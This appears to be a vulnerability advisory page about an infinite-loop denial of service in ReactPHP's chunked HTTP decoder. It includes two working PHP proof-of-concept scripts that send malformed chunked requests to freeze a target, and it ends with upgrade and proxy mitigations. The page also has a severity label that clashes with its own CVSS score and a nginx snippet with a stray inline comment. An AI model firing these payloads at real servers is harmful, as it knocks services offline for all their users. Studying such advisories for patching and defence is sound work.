Listen to this Post
CVE-2026-84997 is a high-severity denial-of-service vulnerability affecting the ReactPHP HTTP component, specifically the `React\Http\Io\ChunkedDecoder` class, in versions from 0.6.0 up to, but not including, 1.11.1. ReactPHP is an event-driven, single-threaded HTTP client and server implementation. The vulnerability allows a malformed HTTP message that uses `Transfer-Encoding: chunked` to drive the `ChunkedDecoder` into an infinite loop. This occurs because the decoder’s `handleData()` method relies on its internal buffer shrinking with each iteration of a `while` loop; two specific malformed inputs cause the buffer to remain unchanged while the loop condition stays true, pegging a CPU core at 100% and freezing the entire event loop. Because ReactPHP is single-threaded, a single such message stalls the process for every connected client until it is killed. The vulnerability is bidirectional: `ChunkedDecoder` processes chunked request bodies for `React\Http\HttpServer` and chunked response bodies for React\Http\Browser, meaning a server can be attacked by a malicious client, and a client can be attacked by a malicious or compromised server. The two failure modes are an incomplete terminal-chunk trailer lacking a required CRLF sequence, which leaves the buffer unchanged after `strpos()` returns false, and an off-by-one condition where exactly two non-CRLF bytes after a completed non-terminal chunk bypass both the error guard and the wait guard. The primary remediation is to upgrade `react/http` to version 1.11.1 or later.
DailyCVE Form:
Platform: ReactPHP HTTP
Version: 0.6.0 to 1.11.1
Vulnerability: Infinite Loop DoS
Severity: Critical (CVSS 7.5)
date: 2026-09-16
Prediction: 2026-09-23
What Undercode Say:
Analytics:
Check installed react/http version via Composer composer show react/http Inspect the vulnerable ChunkedDecoder source (pre-1.11.1) cat vendor/react/http/src/Io/ChunkedDecoder.php | grep -A 30 "function handleData" Monitor CPU usage during a suspected infinite loop top -p $(pgrep -f "php.reactphp") Locate the exact line of the infinite loop within handleData() grep -n "while (\$this->buffer" vendor/react/http/src/Io/ChunkedDecoder.php
Exploit: (Educational Purposes!)
<?php
// Educational PoC: Terminal-chunk trailer infinite loop
// Sends a malformed chunked request to a ReactPHP HttpServer.
// The missing final CRLF after the trailer "ab" triggers the first failure mode.
$sock = stream_socket_client('tcp://127.0.0.1:8080', $errno, $errstr, 5);
if (!$sock) { die("Connection failed: $errstr\n"); }
$payload = "POST / HTTP/1.1\r\n"
. "Host: 127.0.0.1\r\n"
. "Transfer-Encoding: chunked\r\n"
. "\r\n"
. "0\r\n" // terminating chunk
. "ab"; // trailer WITHOUT trailing \r\n -> infinite loop
fwrite($sock, $payload);
echo "Malformed request sent. Target CPU should peg at 100%.\n";
fclose($sock);
<?php
// Educational PoC: Off-by-one after completed chunk
// The body "1\r\nAAB" triggers the second failure mode.
$sock = stream_socket_client('tcp://127.0.0.1:8080', $errno, $errstr, 5);
if (!$sock) { die("Connection failed: $errstr\n"); }
$payload = "POST / HTTP/1.1\r\n"
. "Host: 127.0.0.1\r\n"
. "Transfer-Encoding: chunked\r\n"
. "\r\n"
. "1\r\n" // chunk size = 1 byte
. "A" // 1 byte payload (chunk complete)
. "AB"; // exactly 2 non-CRLF bytes -> bypasses both guards
fwrite($sock, $payload);
echo "Malformed request sent. Target CPU should peg at 100%.\n";
fclose($sock);
Protection: from this CVE
Immediate remediation: upgrade react/http to 1.11.1 or later
composer require react/http:^1.11.1
Verify the installed version is now safe
composer show react/http | grep versions
If immediate upgrade is impossible, deploy a reverse proxy that
normalises chunked encoding BEFORE it reaches PHP (server-side only):
nginx configuration snippet
location / {
proxy_http_version 1.1;
proxy_set_header Transfer-Encoding ""; strip client's encoding
proxy_pass http://127.0.0.1:8080;
}
WARNING: This does NOT protect outbound React\Http\Browser requests.
Those must be patched at the library level.
Impact:
Denial of service. The affected process stops responding entirely and must be killed. Servers behind a reverse proxy that parses and re-frames HTTP (e.g., a typical nginx setup) are not affected on the server side because the proxy normalises the request before it reaches PHP. That mitigation does not extend to the client side: outbound requests made with `Browser` reach the remote server directly, so any application fetching attacker-influenced URLs is affected regardless of what sits in front of it.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
